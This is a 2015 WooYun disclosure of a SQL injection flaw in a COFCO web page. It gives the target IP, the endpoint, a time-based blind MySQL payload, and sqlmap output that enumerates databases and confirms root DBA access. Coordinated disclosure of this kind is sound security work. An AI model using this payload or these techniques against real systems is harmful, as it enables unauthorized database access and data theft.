当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0133440

漏洞标题:中粮集团某站存在SQL注入

相关厂商:中粮集团有限公司

漏洞作者: 星明月稀

提交时间:2015-08-12 11:12

修复时间:2015-09-26 15:40

公开时间:2015-09-26 15:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-12: 细节已通知厂商并且等待厂商处理中
2015-08-12: 厂商已经确认,细节仅向厂商公开
2015-08-22: 细节向核心白帽子及相关领域专家公开
2015-09-01: 细节向普通白帽子公开
2015-09-11: 细节向实习白帽子公开
2015-09-26: 细节向公众公开

简要描述:

中粮集团某站存在SQL注入

详细说明:

注入点:
http://219.143.252.220/yyoa/checkWaitdo.jsp?userID=1

漏洞证明:

放到sqlmap跑下:

---
Parameter: userID (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: userID=1' AND (SELECT * FROM (SELECT(SLEEP(5)))PlDJ) AND 'mYTy'='mYTy
---
[19:15:25] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL 5.0.12
[19:15:25] [INFO] fetching database names
[19:15:25] [INFO] fetching number of databases
[19:15:25] [WARNING] time-based comparison requires larger statistical model, please wait..............................
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
[19:15:37] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
5
[19:15:43] [INFO] retrieved:
[19:15:48] [INFO] adjusting time delay to 1 second due to good response times
information_schema
[19:17:13] [INFO] retrieved: mysql
[19:17:38] [INFO] retrieved: mysql3235
[19:18:18] [INFO] retrieved: temp
[19:18:40] [INFO] retrieved: test
available databases [5]:
[*] information_schema
[*] mysql
[*] mysql3235
[*] temp
[*] test
[19:19:01] [INFO] fetched data logged to text files under '/root/.sqlmap/output/219.143.252.220'


is-dba : root@localhost 权限!

[19:47:28] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL 5.0.12
[19:47:28] [INFO] testing if current user is DBA
[19:47:28] [INFO] fetching current user
[19:47:28] [WARNING] time-based comparison requires larger statistical model, please wait..............................
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
[19:47:38] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
[19:47:48] [INFO] adjusting time delay to 1 second due to good response times
root@localhost
current user is DBA: True
[19:49:02] [INFO] fetched data logged to text files under '/root/.sqlmap/output/219.143.252.220'

修复方案:

过滤转义

版权声明:转载请注明来源 星明月稀@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-08-12 15:38

厂商回复:

非常感谢!

最新状态:

暂无